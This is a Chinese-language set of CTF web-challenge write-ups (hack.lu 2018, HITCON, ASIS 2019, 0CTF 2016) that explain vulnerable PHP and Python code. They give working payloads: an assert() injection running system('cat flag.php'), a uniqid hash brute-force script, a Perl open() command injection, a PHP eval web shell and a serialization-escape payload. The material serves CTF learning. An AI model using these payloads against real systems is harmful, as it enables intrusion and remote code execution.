2018-hack.lu-Web-baby
这到底从上到下顺序多个绕过点
- 第一个绕过点
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
简单写文件,直接?msg=data://text/plain,Hello%20Challenge!就可以了
- 第二个绕过点
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
intval()将字符串转换成整数,转换规则是从字符串开头开始转换,直到遇到第一个非数字字符为止
弱比较漏洞就不多说了,key1=1337a
- 第三个绕过点
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
$k2长度必须是42,并且正则匹配为纯数字但is_numeric不能匹配为数字,而且弱比较等于1337...
好吧这其实是个坑,这里正则结尾的$是全角符号,所以这个正则表达式匹配的字符串必须以全角$结尾。用$的十六进制url编码是%EF%BC%84,占三字节,故key2=000000000000000000000000000000000001337%ef%bc%84
php的strlen按照的是字节数计算,一个字母或数字,换行符占一字节,而全角符号/汉字占3个字节
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
先把k1,k2交换了位置,如果substr(bb) === sha1(cc)成立,遍历\_GET字典,把每个键值对都变成一个变量,键是变量名,值是变量值
list() 是 PHP 的一个内置结构,它的作用是把数组里的值,按顺序分别塞进括号里的变量中
foreach遍历字典,as前面是字典,后面是键和值
$_GET是一个全局变量字典,包含了所有通过HTTP GET方法传递的参数。只要填写了参数都会放入字典
$$叫可变变量,$$a就是把a的值当成变量名来访问。这里$lel是键名,而$$lel就是以这个键名重新命名一个变量,值为$hack。覆盖变量的意思
sha1和md5一个样子,传入数组使其null===null就行
最难的是下面这一行$b=1;//;"b"=a$;"2" = b
这里加了个隐式字符RLO (Right-to-Left Override, U+202E),它会把后面的字符串反过来显示,所以实际上这一行的代码是
$b=1;//;"b"=a$;"2" = b
所以对于$$a !== $k1只要让$k1=2就行。foreach变量覆盖时会根据GET生成变量,于是GET参数必须写上k1=2
- 最后RCE
assert("$bb == $cc");
assert()函数会把传入的字符串当成PHP代码执行
传参bb=system('cat flag.php');//就行了
最终组合
/?msg=data://text/plain,Hello%20Challenge!&key1=1337a&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=system('cat flag.php');//
回头来看交换变量其实只是个眼障
2022-HitCon-Web-yeeclass
依旧白盒审计
submission.php里前端可以看到超链接
<?php foreach ($result as $row) { ?>
<tr>
<?php if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) { ?>
<td><a href="submission.php?hash=<?= $row['hash'] ?>"><?= $row["name"] ?></a></td>
<?php } else { ?>
<td><?= $row["name"] ?></td>
<?php } ?>
<td><?= $row["score"] ?? "-" ?></td>
<td><?= $row["username"] ?></td>
<td><?= $row["time"] ?></td>
</tr>
<?php } ?>
- <?= ?>是PHP的短标签,等价于<?php echo ?>,用来输出变量值
- foreach()是PHP的一个控制结构,用来遍历数组或对象。语法是foreach ($array as $value) ,其中$array是要遍历的数组,$value是每次迭代时当前元素的值
- ?? 是PHP的空合并运算符,用来判断一个变量是否存在且不为null,如果存在且不为null就返回这个变量的值,否则返回??后面的值
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
// view single submission
$mode = "view";
$submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
$submission_query->execute(array($_GET["hash"]));
$result = $submission_query->fetch(PDO::FETCH_ASSOC);
首先是扩展函数PDO的用法(防sqli):
prepare()方法用来预处理SQL语句,返回一个PDOStatement对象,语句中的占位符用?表示
execute()方法用来执行预处理语句,参数是一个数组,表示SQL语句中的占位符的值
fetch()方法用来获取查询结果,有几种常用的获取形式:PDO::FETCH_ASSOC表示以关联数组的形式返回结果
PDO::FETCH_NUM表示以索引数组的形式返回结果
PDO::FETCH_BOTH表示同时以关联数组和索引数组的形式混合返回(默认)
PDO::FETCH_OBJ表示以匿名对象的形式返回结果
- LEFT JOIN是SQL中的一种连接方式,用来从两个表中获取数据。LEFT JOIN会返回左表(submission)中的所有记录,以及右表(user和homework)中匹配的记录合并在一起,如果右表没有匹配的记录,则返回NULL
这里的关联条件是提交记录里的 userid 等于用户表的 id,提交记录里的 homeworkid 等于作业表的 id。通俗一点来说就是fetch出全部提交记录,然后罗列成一列一列超链接的方式显示在前端
这些只是在积累审计经验,真正的漏洞在提交部分submit.php里
if ($_SERVER["REQUEST_METHOD"] == "POST" || isset($_GET["delete"])) {
$homeworkid = (isset($_GET["delete"])) ? $_GET["homeworkid"] : $_POST["homeworkid"];
$homework_query = $pdo->prepare("SELECT id, `open` FROM homework WHERE id=?");
$homework_query->execute(array($homeworkid));
$result = $homework_query->fetch();
if (!$result) {
if (isset($_GET["delete"])) {
// deletion
http_response_code(404);
die("No submission to delete");
} else {
// 注意下面这部分
$id = uniqid($_SESSION["username"]."_");
$submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, content) VALUES (?, ?, ?, ?)");
$submit_query->execute(array(
hash("sha1", $id),
$_SESSION["userid"],
$_POST["homeworkid"],
$_POST["content"]
));
$hash_query = $pdo->prepare("SELECT `hash` FROM submission WHERE userid=? AND homeworkid=?");
$hash_query->execute(array($_SESSION["userid"], $_POST["homeworkid"]));
$result = $hash_query->fetch();
http_response_code(302);
header("Location: submission.php?hash={$result['hash']}");
exit;
}
}
这是一个作业提交流程。POST提交作业时,当数据库没有对应的作业id,就插入数据库并生成一个id和hash值,然后根据数据库的hash值重定向到作业详情页,submission.php?hash={$result['hash']}
uniqid($val)是PHP的内置函数,用来生成一个基于当前微秒时间的唯一字符串加在$val后面。但它只是把当前的“秒+微秒”转换成了13位的十六进制字符串,所以有爆破的可能性
回到原题就是一个flag的作业详情页无法查看,但知道提交人和记录时间。解法就出来了。直接写脚本爆破uniqid
import requests
import hashlib
from datetime import datetime, timezone
username = "flagholder"
timestamp = '2026-03-26 20:30:48.540403'
dt = datetime.fromisoformat(timestamp)#.replace(tzinfo=timezone.utc)
sec = int(dt.timestamp())
usec = dt.microsecond
print(sec, usec)
url = 'http://challenge-def7fc8b931a17ec.sandbox.ctfhub.com:10800/submission.php?hash='
def get_hash(sec, usec):
user_id = f"{username}_{sec:08x}{usec:05x}"
return hashlib.sha1(user_id.encode()).hexdigest()
for i in range(0, 1000):
hash = get_hash(sec, usec - i)
r = requests.get(url + hash)
print(i, hash)
if r.text != "Submission not found.":
print("Found hash:", hash)
print(r.text)
break
[HITCON 2017]SSRFme
源码审计
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
shell_exec : 命令执行
escapeshellarg :安全转义函数,负责给字符串加''
pathinfo:以数组的形式返回关于文件路径的信息
- [dirname]:目录路径
- [basename]:文件名
- [extension]:扩展名
- [filename]:不含后缀的文件名
basename('文件路径','要移除的文件扩展名'):返回路径中的文件名
上面一部分实现了沙盒创建,目录名为orangeip地址的md5
然后在这个沙盒中传参,url负责接收目录地址交给GET工具解析
GET是一个软链接(Symlink),指向一个叫lwp-request的脚本,由perl编写。旨在快速请求一个网页/目录并把其源码回显在屏幕上
filename传参文件名,过滤.防止路径穿越,然后创建这个文件名并移动到其目录下,再将url返回的结果写在里面
我们可以传参url=/&filename=a然后读取
/sandbox/2eddbadf7037fb9de948667cd056d5c1/a
然后可以看到根目录的文件列表
解法1:利用perl语言漏洞
perl的open()函数用于读取文件,如果文件名以|结尾,perl就会将文件名当作命令执行
GET本身支持file协议,并且脚本在处理file协议时就会调用perl的open()函数,于是就有如下payload
url=file:bash -c /readfile|&filename=a
# /readfile是ELF可执行程序
尴尬的是,这个靶场可能存在问题,导致命令不能执行
解法2:利用data协议
GET脚本也支持data协议,我们可以写个木马
url=data://text/plain,<?php @eval($_POST['cmd'])?>;&filename=shell.php
用蚁剑连接sandbox里的php就行
不过最终还是没有解出来,只能说搬题的人没弄好配置
[ASIS 2019]Unicorn shop
这道题的解法在注释里,utf-8编码下写了句注释Ah,really important,seriously.

加上unicorn和unicode谐音,这道题可能在考编码方面的漏洞
购买商品时页面需要填入价格,并且提示只能填一个字符,但flag价格是1337。
但如果我们什么都不填,响应就会出现stderr
>>> import unicodedata
>>>
>>> unicodedata.numeric('1')
1.0
>>> unicodedata.numeric('11')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>>
>>> unicodedata.numeric('7')
7.0
>>> unicodedata.numeric('17')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>>
得知python后端使用unicode编码解析数字,而前端使用utf-8解析
我们在网站上查询一个数值大于1337的unicode单字符
然后用它的utf-8编码
%F0%90%84%A3
填入就能拿flag了
[0CTF 2016]piapiapia
这道题可以说是ctf一个十分经典的题,反序列化字符串逃逸的鼻祖题
index是一个登录框。我爆破了万能密匙字典,观察session,都没有漏洞点。事已至此先扫盘
拿到备份源码www.zip,分开审计几个文件
首先是config.php,它一般会通过数据库传值,我们要读的就是这个文件
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
正好profile.php有读取文件的逻辑,它file_get_contents读取了一个反序列化创建的属性
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
}
前端也会回显$photo
<label>Phone: <?php echo $phone;?></label>
在class.php看一下这个show_profile()的逻辑
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
再找filter()的逻辑,可以看到严格的过滤。除了会将\,'换成_,还会将'select', 'insert', 'update', 'delete', 'where'换成hacker
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
而这个序列化来源自updata.php的逻辑,本来是作为头像文件
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
思路已经很清晰了,这是个序列化变长逃逸。由于filter的过滤会改变序列化字符长度,我们可以操控nickname覆盖变量photo
但nickname传输有个逻辑
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
卡字符也卡长度,但我们可以在传参时将nickname改为nickname[],这样两边都会返回false,就不会触发die
序列化时,彼时中间肯定有一段长这样
{...;a:1:{s:x:"$nickname";}s:5:"photo";...}
我们要用nickname覆盖photo,先在nickname里构造
";}s:5:"photo";s:10:"config.php";}
再构造";}之前,已知5字符where会被替换成6字符hacker,每个where都会多出来一个字符,而上面这一串有34个字符
于是我们在前面写34个where,这样原本是34*5+34,结果变成了34*6+34而他还是以34*5+34去读,那么刚好到"之前截止当作nickname的内容,后面的payload就会当photo内容。由于序列化完整,所以再到;}就不会往后再读了
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
把这个传给nickname[]就回显config里的内容了,base64解密就能拿flag
